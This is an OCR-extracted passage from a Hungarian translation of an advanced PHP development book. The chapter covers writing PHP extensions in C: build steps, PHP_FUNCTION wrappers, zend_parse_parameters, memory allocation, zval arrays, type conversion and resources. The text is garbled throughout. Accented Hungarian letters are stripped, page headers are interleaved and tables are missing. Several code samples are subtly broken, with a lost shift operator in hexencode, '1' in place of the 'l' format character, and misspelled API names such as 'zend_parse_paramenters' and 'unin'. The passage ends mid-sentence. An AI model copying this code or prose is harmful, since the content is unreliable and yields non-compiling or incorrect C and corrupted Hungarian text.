PHP-vei kaptuk. example .php - Ez a mintaprogram betlti s hasznlatba veszi a bvtmnyt. php_example. h - A bvtmny alaprtelmezett fejlcfjlja.

548

PHP fejleszts felsfokon

tests/001 .phpt - Egysgteszt, amely a PHP felptrendszer egysgtesztel csomagjt alkalmazza. Mondanunk sem kell, a tesztels sosem rt.

Bvtmnyek felptse s engedlyezse


A bvtmny megrst kveten felptst ktflekppen vgezhetjk: statikusan vagy dinamikusan. A statikus bvtmnyek a PHP fordtsakor plnek be a rendszerbe, mg a dinamikus bvtmnyek beptse brmikor megtrtnhet, adataikat a php. ini fjl tartalmazza. A statikus bvtmnyek felptshez a forrskdoknak a PHP felptsi knyvtrnak ext / alknyvtrban kell lennik. Ezutn a gykrknyvtrbl az albbi parancsot kell kiadnunk: >./buildconf Ez tlltja a PHP felptsi rendszert, s beilleszti a belltsokat a f bellt programba. Ezutn a bvtmny engedlyezse mellett a hagyomnyos mdon vgezhetjk el a PHP belltst s felptst:
> ./configure --with-apxs=/usr/local/apache/bin/apxs --enable-example > make > make install

Ha egy bvtmnyt dinamikusan betlthet osztott objektumknt szeretnnk felpteni, a forrskdokat lefordthatjuk a PHP forrsknyvtrain kvl is. A forrst tartalmaz knyvtrban az albbi parancsot kell hasznlnunk:
> phpize

Ez lefuttatja a PHP felptsi rendszert a conf ig.m4 fjlon, s kszt belle egy bellt programot. Ezutn kvetkezhet a bvtmny belltsa s felptse:
> ./configure --enable-example > make > make install

Ezzel felptjk s teleptjk a bvtmnyt a kzs bvtmnyknyvtrba. Mivel dinamikus bvtmnyrl van sz, engedlyeznnk kell a php. ini fjlban is, az albbiak szerint:
extension=example.so

21. fejezet A PHP bvtse: I. rsz

549

Ha nem tltjk be a bvtmnyt a php. ini fjlbl, ezt a program vgrehajtsa kzben kell megtennnk a kvetkez kddal: dl("example.so"); A vgrehajts alatt betlttt modulok minden krelem vgn kirlnek a rendszerbl. Ez igen lassv teszi hasznlatukat, gy csak akkor alkalmazzuk ezt a mdszert, ha a php. ini fjllal valamilyen meggondolsbl nem tlthetk be. Ha nem tudjuk biztosan, hogy egy adott bvtmny betlthet-e a php. ini llomnybl, az albbi kdrszlettel ellenrizhetjk, hogy betltttk-e, s ha nem, ezt dinamikusan ptolhatjuk:
if(!extension_loaded('example')) { dl('example.' . PHP_SHLIB_SUFFIX); }

Fggvnyek hasznlata
A bvtmnyek ksztse ltalban fggvnyek rsval jr egytt. Nem szmt, hogy PHP kdot runk t C-be vagy burkolt ksztnk egy C knyvtr kr, a fggvnyek rst nem kerlhetjk el.
Egy egyszer plda

A fggvnyek ksztsnek bemutatshoz vegyk el az istllbl egyik rgi llatorvosi lovunkat, a Fibonacci-sorozatot. Szksgnk lenne elszr is egy, a Fibonacci-sorozat elemeit megad C fggvnyre. Ha visszaemlksznk a 11. fejezetben lertakra, felderenghet nhny lehetsg. A lineris nhivatkozs elg gyors mdszer, gy most ezt hasznljuk lssuk is rgtn a megfelel PHP fggvny C vltozatt: int fib_aux(int n, int next, int result)
{

if(n == 0) { return result;


}

return fib_aux(n - 1, next + result, next); }

A fggvny magjnak megrsa utn el kell ksztennk azt a kdot is, amely az ezt krlvev PHP fggvnyt valstja meg. Ehhez kt lps szksgeltetik: Elszr meg kell hatroznunk a fggvnyt, msodszor pedig be kell jegyeztetnnk a bvtmnnyel, hogy annak betltsekor bekerljn a globlis fggvnytblba. Lssuk most a f ibonacci () fggvny meghatrozst: PHP_FUNCTION(fibonacci) { long n;

550

PHP fejleszts felsfokon

long retval; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "1", &n)


== FAILURE) {

return;
} if(n < 0) {

zend_error(E_WARNING, "Argument must be a positive integer"); RETURN_FALSE; } retval = fib_aux(n, 1, 0); RETURN_LONG(retval); }

A PHP fggvnyeket a PHP_FUNCTION () makrval hatrozhatjuk meg. Ez elvgez nmi nvkiegsztst (megakadlyozva a bvtmnyek fggvnyneveinek tkzst), s belltja a fggvny prototpust. (A rendszer bels mveleteiben a fggvnyek prototpusa azonos.) E makr mkdsnek rszleteirl egyetlen dolgot kell tudnunk, mgpedig azt, hogy a fggvnynek tadott egyik paramter az albbi:
zval *return_value

Ez a vltoz trolja a fggvny visszatrsi rtkt. Ehhez ltalban rendelhetnk klnfle makrkat, de esetenknt elfordulhat, hogy magunknak kell kzvetlenl kezelnnk - mindazonltal e kzvetlen hozzrendels rszletei lnyegtelenek. Ha megmaradunk a makrknl (ne is tegyk mskpp, hisz a mellkelt bvtmnyek is gy mkdnek), nem kell mlyebbre snunk a PHP_FUNCTION mkdsnek rszleteibe. A PHP fggvnyek nem jutnak hozz kzvetlenl paramtereikhez, ki kell bnyszniuk azokat a paramterverembl, melynek tartalmt a hvs krnyezetben tltttk fel. Ezt a feladatot vgzi el a zend_parse_parameters (). Els paramtere, a ZEND_NUM_ARGS () TSRMLS_CC valjban nem is egy, hanem kt paramter. Az els egy makr, amely megadja a verembe helyezett paramterek szmt, a msodik, a TSRMLS_CC pedig egy msik makr, amely a szlbiztonsgi adatokat adja t, amennyiben a PHP-t szlbiztosan fordtottk. A kvetkez paramter, az 1", a vrt adattpust mutatja - esetnkben ez egy hossz egsz. Ezutn az &n ll, ami egy hivatkozs szerint trolt C vltoz, melybe a paramter kerl. Mivel most long tpust vrunk, egy ilyen tpusra mutat hivatkozst adunk t. A zend_parse_parameters () a SUCCESS rtkkel tr vissza, amennyiben az tadott paramterek szma megfelel a vrtnak, tovbb a kapott rtkek beleilleszthetk a megadott tpusokban - egybknt a visszatrsi rtk FAILURE. Ez utbbi esetben a fggvny intzkedik a megfelel figyelmeztets kivltsrl, gy nyugodtan visszatrhetnk.

21. fejezet A PHP bvtse: 1. rsz

551

A 20. fejezetbl emlkezhetnk, hogy a PHP vltozi nem felelnek meg a C egyes tpusainak, hanem mind a zval tpusba tartoznak. A zend_parse_parameters () feladata a tpustalakts elvgzse. Olyan tpusoknl, amelyek egyszeren megfeleltethetk elemi C tpusoknak (mint az egszek, a lebegpontos szmok s a karakterlncok) ez a mdszer nagyszer eredmnyt ad, de sszetettebb tpusok esetn magunknak kell kezelnnk a zval tpust. Ha megvannak a paramterek rtkei, a fggvny egyszer C fggvnyknt viselkedik. A f ibonacci () esetben a program kiszmolja a Fibonacci-sorozat n. rtkt, s a retval vltozba helyezi. Ahhoz, hogy ezt a PHP is hasznlhassa, t kell tennnk a return_value vltozba. Egyszer tpusoknl szerencsre segtsgnkre sietnek a makrk. Ez esetben a RETURN_LONG (retval) ; lltja be a return_value tpust, tartalmt feltlti a retval rtkvel, majd visszatr a fggvnybl. Ahhoz, hogy ez a fggvny elrhetv vljon a bvtmny betltsekor, el kell helyeznnk egy function_entry tmbben:
function_entry example_functions[] = { PHP_FE(f ibonac c i, NULL) {NULL, NULL, NULL} };

A PHP_FE () bejegyzs utn ll NULL a paramtertads alakjt hatrozza meg (pldul, hogy ez hivatkozs szerint trtnjen-e). Jelen esetben az alaprtelmezett, rtk szerinti tadst hasznljuk. Amennyiben egy fggvnylista mg azeltt megjelenik, hogy a fggvnyeket bevezetnnk, elzetes deklarcira van szksg. Ezt szoks szerint a php_example. h fejlcfjlban tehetjk meg, az albbi utastssal:
PHP_FUNCTION(fibonacci);

A tpusok s a memria kezelse


A 18. fejezetben hallhattunk egy tanulsgos trtnetet a karakterlncok PHP-beli tizenhatos szmrendszer (hexadecimlis) kdolsrl. Az ott bemutatott hexencode () s hexdecode () fggvnyek egy karakterlncbl hexadecimlis szmsorozatot ksztettek (a 8 bites adatok trse rdekben), illetve e folyamat ellentettjt valstottk meg. A 18. fejezetben megemltettk megoldsi lehetsgknt, hogy e fggvnyeket C-ben valstsuk meg. Nos, gyakorlatnak ez ppen megfelel!

552

PHP fejleszts felsfokon

Szksgnk van teht kt C fggvnyre, melyek mindketten egy char * karakterlncot fogadnak a hosszval egyetemben, s elvgzik a kdolst, illetve a visszafejtst. Szndkosan adjuk t a hosszrtket ahelyett, hogy egy fggvnyre (mint pldul az strlen ()) hagyatkoznnk, ugyanis gy a binris adatok nem csapjk be a kdunkat. A PHP-ben ugyanis a karakterlncok valjban akrmilyen binris adatot tartalmazhatnak, kztk null karaktereket is, gy ahhoz, hogy tudjuk, hol r vget a karakterlnc, t kell adnunk a hosszt. A hexencode () elszr lefoglal egy trolt, melynek mrete ktszerese a kapott karakterlncnak (mivel egy karaktert kt hexadecimlis szmjegy jelent meg).A fggvny ezutn karakterenknt vgighalad a forrson, s meghatrozza az adott karakter als, majd fels bitjhez tartoz hexadecimlis szmjegyet. Ha mindennel elkszl, egy null karaktert r a karakterlnc vgre, s visszaadja. me a kd:
const char *hexchars = "0123456789ABCDEF"; char *hexencode(char *in, int in_length) { char *result; int i ;

result = (char *) emalloc(2 * in_length + 1 ); f o r ( i =0; i < in_length; i++) { r es ul t [2 *i ] = hexchars[( i n [ i ] & OxOOOOOOfO) 4]; result[2*i + 1] = hexchars[in[i] & OxOOOOOOOf];
}

result[2*in_length] = ' \ 0 ' ; return result;


}

Figyeljk meg, hogy az eredmny troljnak az emalloc () fggvnnyel foglaltunk helyet. A PHP s a Zend Engine sajt bels memriakezel burkolfggvnyeket hasznl. Mivel azokat az adatokat, melyeket a PHP vltozihoz rendelnk, a Zend Engine memriakezel rendszere takartja fel, szmukra ezekkel a burkolfggvnyekkel kell memrit foglalnunk. Radsul, mivel tbb memriakezel hasznlata csak zrzavart okoz, a PHP bvtmnyekben rdemes kizrlag a Zend Engine memriakezel burkolit alkalmaznunk. A 21.1. tblzatban a gyakran hasznlt memriakezel fggvnyeket soroljuk fel. 21.1 tblzat Memriakezel fggvnyek

21. fejezet A PHP bvtse: I. rsz

553

Mindezek a fggvnyek a motor memriarendszert hasznljk, amely minden krelem vgn felszabadtja a lefoglalt terleteket. Ez a legtbb vltoz esetben jl mkdik, mivel a PHP igen jl elvlasztja az egyes krelmek kezelst, s szimblumtbli amgy is megsemmislnek a krelmek kztt. Mindazonltal elfordulnak olyan esetek is, amikor szksgnk van a krelmek kztt megmarad memriafoglalsra is. Erre jellemzen akkor kerl sor, amikor egy maradand erforrsnak kell memrit foglalnunk. Ennek megvalstsra itt vannak az elz fggvnyek megfeleli:
void void void char *pemalloc(size_t size, int persistent) pefree(void *ptr, int persistent) *perealloc(void *ptr, size_t size, int persistent) *pestrndup(char *str, int persistent)

A persistent paramtert egy nem nulla rtkre kell lltanunk, amennyiben a foglalst a maradand memriban szeretnnk megtenni. A gyakorlatban ez arra utastja a PHP-t, hogy sajt memriakezelje helyett a malloc () fggvnyt hasznlja a memriafoglalsra. Szksgnk van egy hexdecode () fggvnyre is, ami egyszeren a hexencode () ellentettje: A fggvny kt karakterenknt beolvassa a megadott karakterlncot, s a kapott prokbl ellltja az ASCII karaktereket. Lssuk a kdot: static_____ inline____ int char2hex (char a)
{

return (a >= 'A' && a <= ' F ' ) ? ( a


}

- 'A ' + 1 0 ) : (

a - '0');

char *hexdecode(char *in, int in_length) { char *result; int i ; result = (char *) emalloc(in_length/2 + 1); for(i =0; i < in_length/2; i++) {

result[i] = char2hex(in[2 * i]) * 16 + char2hex( i n [ 2 * i+1]);


}

result[in_length/2] = '\0'; return result; }

554

PHP fejleszts felsfokon

Fibonacci-sorozatos pldnkhoz hasonlan persze ezek a C fggvnyek is a munka vgzsre hivatottak - szksgnk van mg az albbi PHP_FUNCTI0N burkolkra is:
PHP_FUNCTION(hexencode) { char *in; char *out; int in_length; if(zend_parse_paramenters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &in, &in_length) == FAILURE) { return; } out = hexencode(in, in_length); RETURN_STRINGL(out, in_length * 2, 0) ; } PHP_FUNCTION(hexdecode) { char *in; char *out; int in_length; if(zend_parse_paramenters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &in, &in_length) == FAILURE) { return; } out = hexdecode(in, in_length); RETURN_STRINGL(out, in_length/2, 0); }

Van itt nhny figyelemre mlt rszlet, melyekrl szlnunk kell pr szt: A PHP_FUNCTION (hexencode) a hexencode () fggvnyt hvja. Ez nem nvtkzs, hiszen a PHP_FUNCTI0N () makr maga vgzi el a nv kiegsztst. A zend_parse_parameters () egy karakterlncot vr (s" formtum). Mivel a PHP karakterlnc tpusai kpesek kezelni a binris adatokat, ha a fggvny karakterlncot kap, char *-g alaktja (elvgezve a szksges memriafoglalst), illetve egy int-ben trolja a hosszt. A return_value rtkt a RETURN_STRINGL () makr lltja be. E makr hrom paramtert fogad. Az els egy char * mutat cme, amely a karakterlncot tartalmazza, a msodik egy egsz a karakterlnc hosszval (ne feledjk, binrisbiztossg), valamint egy jelz, mellyel azt hatrozhatjuk meg, hogy a mutat tartalmnak msolata kerljn-e a return_value vltozba. Mivel az out szmra magunk

21. fejezet A PHP bvtse: I. rsz foglaltunk memrit, nincs szksgnk a msolsra (memrit pazarolnnk, ha gy tennnk). Ha ezzel szemben olyan karaktertrolt hasznlnnk, ami nem a sajtunk, a msolshoz itt az 1 rtket kell megadnunk.

555

Karakterlncok feldolgozsa
Elz kt fggvnynk egyetlen paramtert dolgozott fel - a zend_parse_parameters () ennl sokkal rugalmasabb, hiszen megadhatunk egy formtum-karakterlncot, melyben lerhatjuk a vrt paramterek tpusait. A 21.2. tblzatban bemutatjuk a formtumkaraktereket, az ltaluk meghatrozott tpusokat, valamint a hozzjuk tartoz C vltoztpusokat. 21.2 tblzat A zend_parse_parameters() formtumkarakterei

Ha pldul azt szeretnnk belltani, hogy fggvnynk kt karakterlncot s egy long tpus rtket fogad, a kvetkez kdot alkalmazhatjuk:
PHP_FUNCTION(strncasecmp) { char *stringl, *string2; int string_lengthl, string_length2; long comp_length; if(zend_parse_parameters(ZEND_NUM_ARG() TSRMLS_CC, "ssl", &stringl, &string_lengthl, &string2, &string_length2, &comp_length) { return; } /* ... */ }

556

PHP fejleszts felsfokon

E plda teht minden karakterlncnl egy char **-int * prt, s minden long esetben egy long * rtket vr. Mindezek mellett a formtum-karakterlncban megadhatunk mdostkat is, gy vlaszthat paramtereket is hasznlhatunk (lsd a 21.3. tblzatot). 21.3 tblzat A zend_parse_parameters() paramtermdosti

Ms visszatrsi makrk

Kt visszatrsi makrt, melyekkel bellthatjuk a return_value rtkt s visszatrhetnk, mr megismertnk (RETURN_STRINGL s RETURN_LONG) - ez azonban korntsem a teljes vlasztk, amint azt a 21.4. tblzat is mutatja. 21.4 tblzat Visszatrsi makrk

21. fejezet A PHP bvtse: I. rsz 21.4 tblzat Visszatrsi makrk (folytats)

557

Tpusok kezelse
Ha sszetettebb return_value rtkeket szeretnnk belltani, meg kell ismerkednnk a zval tpus kezelsnek lehetsgeivel. Amint a 20. fejezetben lthattuk, a PHP minden vltozja zval tpus, ami valjban az egyszer PHP tpusok sszessgbl ll. Ez adja a PHP gyenge s dinamikus tpusossgt, a 20. fejezetben lertaknak megfelelen. Ha olyan vltozt hozunk ltre, melyet a PHP-ben hasznlnak majd, mindenkppen zval tpust kell vlasztanunk. A ltrehozs rendes mdja, hogy elbb meghatrozzuk, majd memrit foglalunk szmra - mint az albbi pldban:
zval *var; MAKE_STD_ZVAL(var);

Ez trhelyet foglal a var szmra, s belltja a hivatkozsszmllit. Miutn ltrehoztunk egy zval tpus vltozt, rtket is rendelhetnk hozz. Egyszer tpusok esetn (szmok, karakterlncok vagy logikai rtkek) az erre szolgl makrk egyszerek:
ZVAL_NULL(zval *var) ZVAL_BOOL(zval *var, zend_bool value) ZVAL_LONG(zval *var, long value) ZVAL_DOUBLE(zval *var, double value) ZVAL_EMPTY_STRING(zval *var) ZVAL_STRINGL(zval *var, char *string, int length, int duplicate)

558

PHP fejleszts felsfokon

A fenti makrk igencsak emlkeztetnek a hasonl nev RETURN_ makrkra, hiszen ugyanolyan paramtereket fogadnak, s mindannyian skalr rtkeket adnak vissza. Tmb ltrehozshoz az albbi kdra van szksg:
zval *array; MAKE_STD_ZVAL(array); array_init(array);

Ltrehoztunk teht egy res zval tmbt. Az egyszer zval vltozkhoz hasonlan itt is lteznek makrk, melyek segtenek abban, hogy egyszer tpusokat adjunk e tmbhz:
add_assoc_long(zval *arg, char *key, long value); add_assoc_bool(zval *arg, char *key, int value); add_assoc_resource(zval *arg, char *key, int value); add_assoc_double(zval *arg, char *key, double value); add_assoc_string(zval *arg, char *key, char *string, int duplicate); add_assoc_stringl(zval *arg, char *key, char *string, int string_length, int duplicate); add_assoc_zval(zval *arg, char *key, zval *value);

A fentiek mindegyike - taln az utolst leszmtva - viszonylag egyrtelm: lehetv teszik, hogy alaptpusokba tartoz rtkeket illessznk be a tmbbe a key ltal meghatrozott helyeken. Siker esetn e fggvnyek mindegyike a SUCCESS, kudarc esetn pedig a FAILURE rtket adja vissza. Kszthetnk pldul egy C fggvnyt, ami az albbi PHP fggvnynek felel meg: function colorsO
{

return array("Apple" => "Red", "Banana" => "Yellow", "Cranberry" => "Maroon");
}

Az eredmny gy fest:
PHP_FUNCTION(colors) { array_init(return_value); add_assoc_string(return_value, "Apple", "Red", 1); add_assoc_string(return_value, "Banana", "Yellow", 1); add_assoc_string(return_value, "Cranberry", "Maroon", 1); return; }

21. fejezet A PHP bvtse: I. rsz

559

Figyeljk meg a kvetkezket: A return_value szmra a PHP_FUNCTION-n kvl foglaltunk helyet, gy nem kell alkalmaznunk r a MAKE_STD_ZVAL makrt. Mivel a return_value rtkt paramterknt megkaptuk, nem kell visszaadnunk, egyszeren hasznlhatjuk a return utastst. Mivel a felhasznlt karakterlncok (" Red", " Ye 11 ow", "Maroon") veremfoglals trolk, le kell msolnunk ket. Ez zval rtksorozat ltrehozsnl igaz minden olyan memriaterletre, amit nem az emalloc () segtsgvel foglaltunk le. Az add_assoc_zval () fggvnnyel tetszleges zval rtket adhatunk a tmbhz. Ez igen hasznos lehet, ha valamilyen nem szabvnyos tpust kell beillesztennk, pldul egy tbbdimenzis tmb ltrehozsnl. Az albbi PHP fggvny erre mutat pldt:
function people() { return array( 'george' => array('FullName' 'uid' 'gid' 'theo' => array('Fullname' 'uid' 'gid' }

=> => => => => =>

'George Schlossnagle', 1001, 1000) , 'Theo Schlossnagle', 1002, 1000)) ;

Ahhoz, hogy mindezt C-ben is elvgezzk, hozzunk ltre egy j tmbt a george szmra, s adjuk a zval rtkt a return_value-hoz. Ezutn tegyk meg ugyanezt a theo-val is:
PHP_FUNCTION(people) { zval *tmp; array_init(return_value); MAKE_STD_ZVAL(tmp); array_init(tmp); add_assoc_string(tmp, "FullName", "George Schlossnagle", 1); add_assoc_long(tmp, "uid", 1001); add_assoc_long(tmp, "gid", 1000); add_assoc_zval(return_value, "george", tmp); MAKE_STD_ZVAL(tmp); array_init(tmp); add_assoc_string(tmp, "FullName", "Theo Schlossnagle", 1); add_assoc_long(tmp, "uid", 1002);

560

PHP fejleszts felsfokon

add_assoc_long(tmp, "gid", 1000); add_assoc_zval(return_value, "theo", tmp) ; return;

Figyeljk meg, hogy jra felhasznltuk a tmp mutatt - amikor a MAKE_STD_ZVAL () -t hvjuk, ez egy friss zval-t foglal le szmunkra. Hasonl fggvnycsald ll rendelkezsnkre az indexelt tmbk kezelsre. Az albbi fggvnyek hasonlan mkdnek a PHP-beli array_push () -hoz, vagyis jabb rtket adnak a tmbhz, hozzrendelve a kvetkez rendelkezsre ll indexet: add_next_index_long(zval *arg, long value); add_next_index_null(zval *arg); add_next_index_bool(zval *arg, int value); add_next_index_resource(zval *arg, int value); add_next_index_double(zval *arg, double value); add_next_index_string(zval *arg, char *str, int duplicate); add_next_index_stringl(zval *arg, char *str, uint length, int duplicate); add_next_index_zval(zval *arg, zval *value); Ha a tmbbe meghatrozott indexrtknl szeretnnk beilleszteni, az albbiak segtsgvel megtehetjk: add_index_long(zval *arg, uint idx, long value); add_index_null(zval *arg, uint idx); add_index_bool(zval *arg, uint idx, int value); add_index_resource(zval *arg, uint idx, int value); add_index_double(zval *arg, uint idx, double value); add_index_string(zval *arg, uint idx, char *string, int duplicate); add_index_stringl(zval *arg, uint idx, char *string, int string_length, int duplicate); add_index_zval(zval *arg, uint index, zval *value); rdemes megjegyeznnk, hogy a rendszer mind az add_assoc_, mind az add_index_ fggvnyek esetben fellrja a kulcshoz tartoz aktulis adatot. Tudunk mr tmbket ltrehozni, rtkeiket azonban mg nem vagyunk kpesek kiolvasni programjainkban. A 20. fejezetben lthattuk, hogy a zval-ban szerepel egy HashTable nevezet tpus is. A PHP-ben ezt hasznlhatjuk mind a trstsos, mind az indexelt tmbk elrsre, mghozz a HASH_0F () makr segtsgvel. A kapott hasttbla kezelsre pedig a hastrtk-bejr fggvnyek adnak mdot.

21. fejezet A PHP bvtse: I. rsz

561

Vegyk a kvetkez PHP fggvnyt, amely az array_f ilter () egy kezdetleges vltozata: function array_strncmp($array,
{

$match) {

foreach ($array as $key => $value) { if( substr($key, 0, length($match)) == $match ) $retval[$key] = $value;
} }

return $retval;
}

Az ilyesfajta fggvnyek hasznosak lehetnek pldul olyankor, amikor egy krelem HTTP fejlceit szeretnnk kibnyszni. A C-ben ez gy fest:
PHP_FUNCTION(array_strncmp) { zval *z_array, **data; char *match; char *key; int match_len; ulong index; HashTable *array; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "as", &z_array, &match, &match_len) == FAILURE) { return; } array_init(return_value); array = HASH_OF(z_array); zend_hash_internal_pointer_reset(array); while(zend_hash_get_current_key(array, &key, &index, 0) == HASH_KEY_IS_STRING) { if(!strncmp(key, match, match_len)) { zend_hash_get_current_data(array, (void**)&data); zval_add_ref(data); add_assoc_zval(return_value, key, *data); } zend_hash_move_forward(array); } }

Nos, e fggvnyben jcskn tallunk jdonsgot. Egy pillanatra feledkezznk el a zval kezelsrl - errl hamarosan gyis szlunk. Ami szmunkra most igazn lnyeges, az a tmb bejrsa. Elszr elrjk a tmb bels hasttbljt a HASH_OF () makrval, majd ennek bels mutatjt a kezdeti rtkre lltjuk a zend__internal_pointer_reset () fggvnnyel (ez ugyanazt jelenti, mint a PHP-ben a reset ($array) ; utasts).

562

PHP fejleszts felsfokon

Ezutn hozzfrnk a tmb kulcshoz a zend_hash_get_current_key () fggvnnyel. Meg kell adnunk szmra egy HashTable mutatt, a kulcsnevet egy char ** alakjban, valamint egy ulong * tpus tmbindexet. Azrt kell mindkt mutatt tadnunk, mert a PHP egysges tpust hasznl a trstsos s az indexelt tmbkhz, gy egy elem akr indexszel, akr kulccsal is azonostva lehet. Ha nincs aktulis kulcs (mondjuk azrt, mert eljutottunk a tmb vgre), e fggvny a HASH_KEY_NON_EXISTENT rtkkel tr vissza, egybknt pedig az eredmny, attl fggen, hogy a tmb trstsos vagy indexelt HASH_KEY_IS_STRING, illetve HASH_KEY_IS_LONG. A fentiekhez hasonlan az aktulis adatot a zend_hash_get_current_data () fggvnnyel rhetjk el, ami egy HashTable mutatt s egy zval ** tpust fogad az adatok trolsra. Ha egy tmbelem esetben msolsra van szksg, a rendszer nveli a zval hivatkozsszmlljt a zval_add_ref () segtsgvel, s elhelyezi a visszaadott tmbben. A kvetkez kulcsra a zend_hash_move_f orward () fggvny hvsval ugorhatunk.

Tpustalaktsok s elrsi makrk


Amint a 20. fejezetben lthattuk, a zval tpus valjban egyszer C adattpusokat tartalmaz, melyek a zvalue_value unit alkotjk:
typedef unin _zvalue_value { long lval; double dval; struct { char *val; int len; } str; HashTable *ht; zend_object_value obj; } zvalue_value;

A PHP elrsi makrkat biztost, melyekkel hozzfrhetnk ezekhez az egyszer tpusokhoz. Mivel unirl van sz, ennek egyszerre csak egy megjelense lehet rvnyes. Ez azt jelenti, hogy ha egy adott zval rtket karakterlncknt szeretnnk kiolvasni, meg kell gyzdnnk rla, hogy valban karakterlnc alakjban van jelen. A zval tpus rtkek talaktsra az albbi fggvnyeket hasznlhatjuk:
convert_to_string(zval *value); convert_to_long(zval *value); convert_to_double(zval *value); convert_to_null(zval *value); convert_to_boolean(zval *value); convert_to_array(zval *value); convert_to_object(zval *value);

21. fejezet A PHP bvtse: 1. rsz

563

Ha ellenrizni szeretnnk, hogy szksg van-e talaktsra, a Z_TYPE_P () makrval ellenrizhetjk a zval aktulis tpust - ezt tesszk a kvetkez pldban is:
PHP_FUNCTION(check_type) { zval *value; char *result; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &value) == FAILURE) { return; } switch(Z_TYPE_P(value)) { case IS_NULL: reslt = "NULL"; break; case IS_LONG: result = "LONG"; break; case IS_DOUBLE: result = "DOUBLE"; break; case IS_STRING: result = "STRING"; break; case IS_ARRAY: result = "ARRAY"; break; case IS_OBJECT: result = "OBJECT"; break; case IS_BOOL: result = "BOOL"; break; case IS_RESOURCE: result = "RESOURCE"; break; case IS_CONSTANT: result = "CONSTANT"; break; case IS_CONSTANT_ARRAY: result = "CONSTANT_ARRAY"; break; default: result = "UNKNOWN"; } RETURN_STRING(result, 1); }

564

PHP fejleszts felsfokon

A klnbz tpus adatok elrshez a 21.5. tblzatban felsorolt makrkat hasznlhatjuk - termszetesen mindegyikk egy zval paramtert fogad. 21.5 tblzat Tpustalakt makrk zval-rl C tpusokra

A fentieken kvl lteznek e makrknak olyan vltozataik is, amelyek zval *, illetve zval ** mutatkat fogadnak. A nevk megegyezik a ltottakval, de kiegszlnek egy _P, illetve _PP uttaggal. gy ha a zval **p karakterlnc-troljra van szksgnk, a Z_STRVAL_PP (p) hvssal rhetnk clt. Ha az adatok a zend_parse_parameters () -en keresztl jutnak el a fggvnyhez, jobbra biztonsggal felhasznlhatjuk ket. Ha azonban mi magunk bnysszuk ki a zval vltozk tartalmt, mr nem lehetnk ennyire biztosak a dolgunkban. A gondot az okozza, hogy a PHP-ben a zval rtkek hivatkozsszmlltak. A Zend Engine alapelve, hogy az rtkadsoknl a msolshoz ragaszkodik, ami azt jelenti, hogy az albbi pldban valjban csak egyetlen zval szerepel, melynek hivatkozsszmllja 2-es rtken ll: $a = 1; $b = $a; Ha ezutn mdostjuk a $b rtkt, az automatikusan sajt zval-t kap. Sajnlatos mdon azonban a bvtmnyben ezt a levlasztst magunknak kell elvgeznnk. Ez a folyamat gyakorlatilag abbl ll, hogy az egynl nagyobb rtk hivatkozsszmllval rendelkez zval tartalmt egy msik zval-ba msoljuk - s ezek utn mr gy dolgozhatunk ezzel az j vltozval, hogy nem zavarjuk a tbbi msolatot. A zval vltoz levlasztsa mindenkppen blcs dolog, ha tpustalaktst vgznk. A levlaszts feladatt a SEPARATE_ZVAL () makr vllalja magra. Mivel a legtbbszr nem szeretnnk levlasztani olyan zval vltozkat, melyeket hivatkozs szerint rnk el, ltezik egy SEPARATE_ZVAL_lF_NOT_REF () makr is, ami csak akkor vgzi el a levlasztst, ha a zval nem egy msik zval-ra hivatkozik.

21. fejezet A PHP bvtse: I. rsz

565

Vgl, elfordulhat, hogy egy j msolatot szeretnnk kszteni egy vltozbl, mint az albbi pldban: $a = $b; Karakterlncok s szmrtk skalrok esetn ez a msols rtelmetlennek tnhet, hiszen nem nehz feladat egy j zval-t kszteni egy char * vagy long tpusbl. A msols akkor lehet hasznos, amikor sszetettebb adattpusokkal llunk szemben - tmbkkel vagy objektumokkal -, amikor ez egybknt egy tbblpses mvelet volna. Azt gondolhatnnk, hogy az albbi fggvny vltozatlanul visszaadja a paramtert:
PHP_FUNCTION(return_unchanged) { zval *arg; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &arg) == FAILURE) { return; } *return_value = *arg; return; }

Ez a fajta msols azonban rvnytelen hivatkozst hoz ltre az arg mutat meghatrozta adatokra. Ahhoz, hogy a msolst helyesen vgezzk el, szksgnk van a zval_copy_ctor () hvsra is. Ezt a fggvnyt az objektumkzpont msol konstruktrk (mint a PHP 5-ben tallhat____ clone ()) mintjra ksztettk, feladata mlymsolatok ksztse a zval rtkekrl, tpusuktl fggetlenl. A fenti return_unchanged () fggvnyt helyesen gy valsthatjuk meg:
PHP_FUNCTION(return_unchanged) { zval *arg; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &arg) == FAILURE) { return; } *return_value = *arg; zval_copy_ctor(return_value); return; }

566

PHP fejleszts felsfokon

Hasonlkppen, idrl idre szksgnk lehet egy-egy zval megsemmistsre - ha pldul egy ideiglenes zval vltozt hozunk ltre egy olyan fggvnyben, ami nem kerl vissza a PHP-be. A zval vltozk megsemmistst ugyanazok a tnyezk vagyis az sszetett s vltozatos szerkezetek - teszik nehzz, mint a msolst. Szerencsre erre a clra is ltezik egy fggvny, a zval_dtor ().

Erforrsok hasznlata
Erforrsok hasznlatra akkor lehet szksgnk, ha tetszleges adattpust szeretnnk rendelni egy PHP vltozhoz. Tetszleges alatt itt nem karakterlncot, szmot, vagy akr tmbt rtnk, hanem egy ltalnos C mutatt, ami valban brmire mutathat. Az erforrsokat gyakran hasznljk adatbzis-kapcsolatokhoz, fjlmutatkhoz, s ms olyan erforrsokhoz, melyeket t szeretnnk adni a fggvnyek kztt, de nem felelnek meg a PHP egyetlen sajt adattpusnak sem. Az erforrsok ltrehozsa a PHP-ben meglehetsen bonyolult. Trolsuk ugyanis nem zval-okban trtnik, hanem az objektumokhoz hasonl mdon. Az erforrst azonost egsz egy zval-ban kap helyet, s ennek segtsgvel tallhatjuk meg a megfelel adatmutatt az erforrslistban. Az objektumkzpont bvtmnyekrl a 22. fejezetben szlunk bvebben. Az erforrsok kezelshez elszr egy listt kell ksztennk rtkeik trolshoz. A lista bejegyzsra a zend_register_list_destructors_ex () fggvnyt hasznlhatjuk, melynek prototpusa a kvetkez: int zend_register_list_destructors_ex(rsrc_dtor_func_t ld, rsrc_dtor_func_t pld, char *type_name, int module_number); Az ld egy fggvnymutat, ami egy zend_rsrc_list_entry * szerkezetet fogad, s a nem maradand erforrsok megsemmistst kezeli. gy pldul, ha 